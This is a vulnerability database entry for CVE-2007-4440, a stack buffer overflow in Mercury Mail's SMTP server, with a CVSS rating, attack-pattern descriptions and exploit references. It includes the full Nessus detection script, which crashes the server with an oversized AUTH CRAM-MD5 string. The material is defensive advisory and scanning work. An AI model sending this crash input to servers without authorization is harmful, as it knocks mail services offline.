Vulnerabilities > CVE-2007-4440 - Buffer Errors vulnerability in Pmail Mercury Mail Transport System 4.51

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
pmail
CWE-119
nessus
exploit available
metasploit

Summary

Stack-based buffer overflow in the MercuryS SMTP server in Mercury Mail Transport System, possibly 4.51 and earlier, allows remote attackers to execute arbitrary code via a long AUTH CRAM-MD5 string. NOTE: this might overlap CVE-2006-5961.

Vulnerable Configurations

Part Description Count
Application
Pmail
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

  • descriptionMercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow. CVE-2007-4440. Remote exploit for windows platform
    idEDB-ID:16821
    last seen2016-02-02
    modified2010-06-22
    published2010-06-22
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16821/
    titleMercury Mail SMTP AUTH CRAM-MD5 - Buffer Overflow
  • descriptionMercury SMTPD Remote Preauth Stack Based Overrun PoC. CVE-2007-4440. Dos exploit for windows platform
    fileexploits/windows/dos/4294.pl
    idEDB-ID:4294
    last seen2016-01-31
    modified2007-08-18
    platformwindows
    port
    published2007-08-18
    reportereliteboy
    sourcehttps://www.exploit-db.com/download/4294/
    titleMercury SMTPD Remote Preauth Stack Based Overrun PoC
    typedos

Metasploit

descriptionThis module exploits a stack buffer overflow in Mercury Mail Transport System 4.51. By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker may be able to execute arbitrary code.
idMSF:EXPLOIT/WINDOWS/SMTP/MERCURY_CRAM_MD5
last seen2020-03-23
modified2017-07-24
published2007-11-07
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4440
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/smtp/mercury_cram_md5.rb
titleMercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow

Nessus

NASL familySMTP problems
NASL idMERCURY_SMTP_AUTH_CRAM_MD5_OVERFLOW.NASL
descriptionThe remote host is running the Mercury Mail Transport System, a free suite of server products for Windows and NetWare associated with Pegasus Mail. The version of Mercury Mail installed on the remote host includes an SMTP server that is affected by a buffer overflow flaw. Using a specially crafted
last seen2020-06-01
modified2020-06-02
plugin id25928
published2007-08-23
reporterThis script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/25928
titleMercury SMTP Server AUTH CRAM-MD5 Remote Buffer Overflow
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(25928);
  script_version("1.19");

  script_cve_id("CVE-2007-4440");
  script_bugtraq_id(25357);
  script_xref(name:"EDB-ID", value:"4294");

  script_name(english:"Mercury SMTP Server AUTH CRAM-MD5 Remote Buffer Overflow");
  script_summary(english:"Tries to crash the SMTP server");

 script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by a buffer overflow vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running the Mercury Mail Transport System, a free
suite of server products for Windows and NetWare associated with
Pegasus Mail. 

The version of Mercury Mail installed on the remote host includes an
SMTP server that is affected by a buffer overflow flaw.  Using a
specially crafted 'AUTH CRAM-MD5' request, an unauthenticated, remote
attacker can leverage this issue to crash the remote application and
even execute arbitrary code remotely, subject to the privileges under
which the application runs." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?349dac79" );
 script_set_attribute(attribute:"see_also", value:"http://community.pmail.com/forums/thread/3816.aspx" );
 script_set_attribute(attribute:"see_also", value:"http://www.pmail.com/m32_451.htm" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Mercury/32 v4.52 or later or apply the 4.01c / 1.49
security patch." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_cwe_id(119);
 script_set_attribute(attribute:"plugin_publication_date", value: "2007/08/23");
 script_cvs_date("Date: 2018/08/22 16:49:14");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();


  script_category(ACT_DENIAL);
  script_family(english:"SMTP problems");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smtpserver_detect.nasl");
  script_require_ports("Services/smtp", 25);
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");


port = get_service(svc:"smtp", default: 25, exit_on_fail: 1);
if (get_kb_item('SMTP/'+port+'/broken')) exit(0);


# Open a connection.
soc = smtp_open(port:port);
if (!soc) exit(0);


# If it looks like Mercury...
c = string("EHLO ", this_host_name());
send(socket:soc, data:string(c, "\r\n"));
s = smtp_recv_line(socket:soc);
if (s && "ESMTPs are:" >< s)
{
  # Try to exploit the flaw to crash the daemon.
  c = 'AUTH CRAM-MD5';
  send(socket:soc, data:string(c, "\r\n"));
  s = smtp_recv_line(socket:soc);
  if ("334 " >< s)
  {
    c = base64(str:"AAA");
    c = crap(data:c, length:strlen(c)*10000);
    send(socket:soc, data:string(c, "\r\n"));
    s = smtp_recv_line(socket:soc);
    if (strlen(s) == 0 || "Attempted buffer overflow attack detected" >!< s) 
    {
      if (strlen(s)) sleep(1);

      # There's a problem if the server is now down.
      soc2 = smtp_open(port:port);
      if (!soc2) 
      {
        security_hole(port);
        exit(0);
      }

      smtp_close(socket:soc2);
    }
  }
}


# Be nice.
smtp_close(socket:soc);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/82990/mercury_cram_md5.rb.txt
idPACKETSTORM:82990
last seen2016-12-05
published2009-11-26
reporterMC
sourcehttps://packetstormsecurity.com/files/82990/Mercury-Mail-SMTP-AUTH-CRAM-MD5-Buffer-Overflow.html
titleMercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow

Saint

bid25357
descriptionMercury Mail SMTP AUTH CRAM-MD5 buffer overflow
idmail_smtp_mercury
osvdb39669
titlemercury_smtp_crammd5
typeremote